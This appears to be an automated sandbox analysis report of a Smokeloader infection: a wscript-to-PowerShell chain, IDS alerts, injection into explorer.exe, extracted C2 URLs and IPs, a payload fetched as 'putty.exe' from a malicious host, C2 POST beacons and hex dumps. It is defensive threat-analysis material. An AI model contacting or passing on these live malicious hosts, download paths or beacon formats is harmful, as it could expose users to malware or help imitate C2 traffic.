Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49711 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2025993 - Severity 1 - ET MALWARE Sharik/Smoke CnC Beacon 11 : 192.168.2.8:49712 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49712 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.8:49712 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49713 -> 109.70.26.37:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49819 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.8:49819 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49838 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49843 -> 109.70.26.37:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49825 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2851815 - Severity 1 - ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18 : 192.168.2.8:49825 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49832 -> 94.156.177.51:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.8:49826 -> 109.70.26.37:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 109.70.26.37 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 94.156.177.51 80			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://constractionscity1991.lat/
Source: Malware configuration extractor	URLs: http://restructurisationservice.ru/
Source: Malware configuration extractor	URLs: http://connecticutproperty.ru/

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 19 Dec 2024 06:52:23 GMTContent-Type: application/x-msdos-programContent-Length: 295424Connection: keep-aliveLast-Modified: Thu, 19 Dec 2024 06:52:23 GMTETag: W/"48200-62999fe73c900"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 93 cf c2 6a d7 ae ac 39 d7 ae ac 39 d7 ae ac 39 c9 fc 39 39 cd ae ac 39 c9 fc 2f 39 51 ae ac 39 c9 fc 28 39 fd ae ac 39 f0 68 d7 39 d4 ae ac 39 d7 ae ad 39 ac ae ac 39 c9 fc 26 39 d6 ae ac 39 c9 fc 38 39 d6 ae ac 39 c9 fc 3d 39 d6 ae ac 39 52 69 63 68 d7 ae ac 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 77 c4 9b 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e4 03 00 00 04 01 00 00 00 00 00 a2 49 00 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 04 00 00 04 00 00 ba f9 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 ea 03 00 28 00 00 00 00 b0 04 00 e0 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 2e 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1a e3 03 00 00 10 00 00 00 e4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 e8 ac 00 00 00 00 04 00 00 60 00 00 00 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 39 00 00 00 b0 04 00 00 3a 00 00 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /fdjskf88cvt/yumba/putty.exe HTTP/1.1Host: spotcarservice.ruConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 109.70.26.37 109.70.26.37

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://eatxyeykjsmocbq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 349Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vqoifgeqmslm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 163Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cpgkhdyexjobuel.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 164Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kssjunoucpo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 225Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dgibnmnukcth.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lygvohbryeni.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: connecticutproperty.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hpkihdgfpdwnih.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: constractionscity1991.lat
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yitqmxmwjwycdun.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 274Host: restructurisationservice.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yfnvfnqkorbos.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: connecticutproperty.ru

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /fdjskf88cvt/yumba/putty.exe HTTP/1.1Host: spotcarservice.ruConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: spotcarservice.ru
Source: global traffic	DNS traffic detected: DNS query: constractionscity1991.lat
Source: global traffic	DNS traffic detected: DNS query: restructurisationservice.ru
Source: global traffic	DNS traffic detected: DNS query: connecticutproperty.ru

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://eatxyeykjsmocbq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 349Host: constractionscity1991.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 06:52:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 06:52:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 06:54:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 06:54:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 06:54:26 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 63 6f 6e 73 74 72 61 63 74 69 6f 6e 73 63 69 74 79 31 39 39 31 2e 6c 61 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 19 Dec 2024 06:54:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 72 65 73 74 72 75 63 74 75 72 69 73 61 74 69 6f 6e 73 65 72 76 69 63 65 2e 72 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Source: explorer.exe, 00000005.00000000.1622386973.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1622386973.000000000926A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000005.00000000.1622386973.000000000926A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ccert.coml07
Source: explorer.exe, 00000005.00000000.1622386973.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1622386973.000000000926A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000005.00000000.1622386973.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1622386973.0000000009237000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1622386973.000000000926A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000005.00000000.1620332026.0000000004405000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobeS
Source: powershell.exe, 00000002.00000002.1578053595.0000022BEE91C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1578053595.0000022BEEACA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1561572514.0000022BE04F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: explorer.exe, 00000005.00000000.1622386973.00000000091FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1622386973.000000000926A000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000005.00000000.1622386973.00000000090DA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDEAD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: explorer.exe, 00000005.00000000.1621501384.0000000007720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1619859258.0000000002C80000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1621487321.0000000007710000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDE8B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.r
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDEAD3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1561572514.0000022BE04C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1561572514.0000022BE03FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru
Source: powershell.exe, 00000002.00000002.1561572514.0000022BDF752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://spotcarservice.ru/
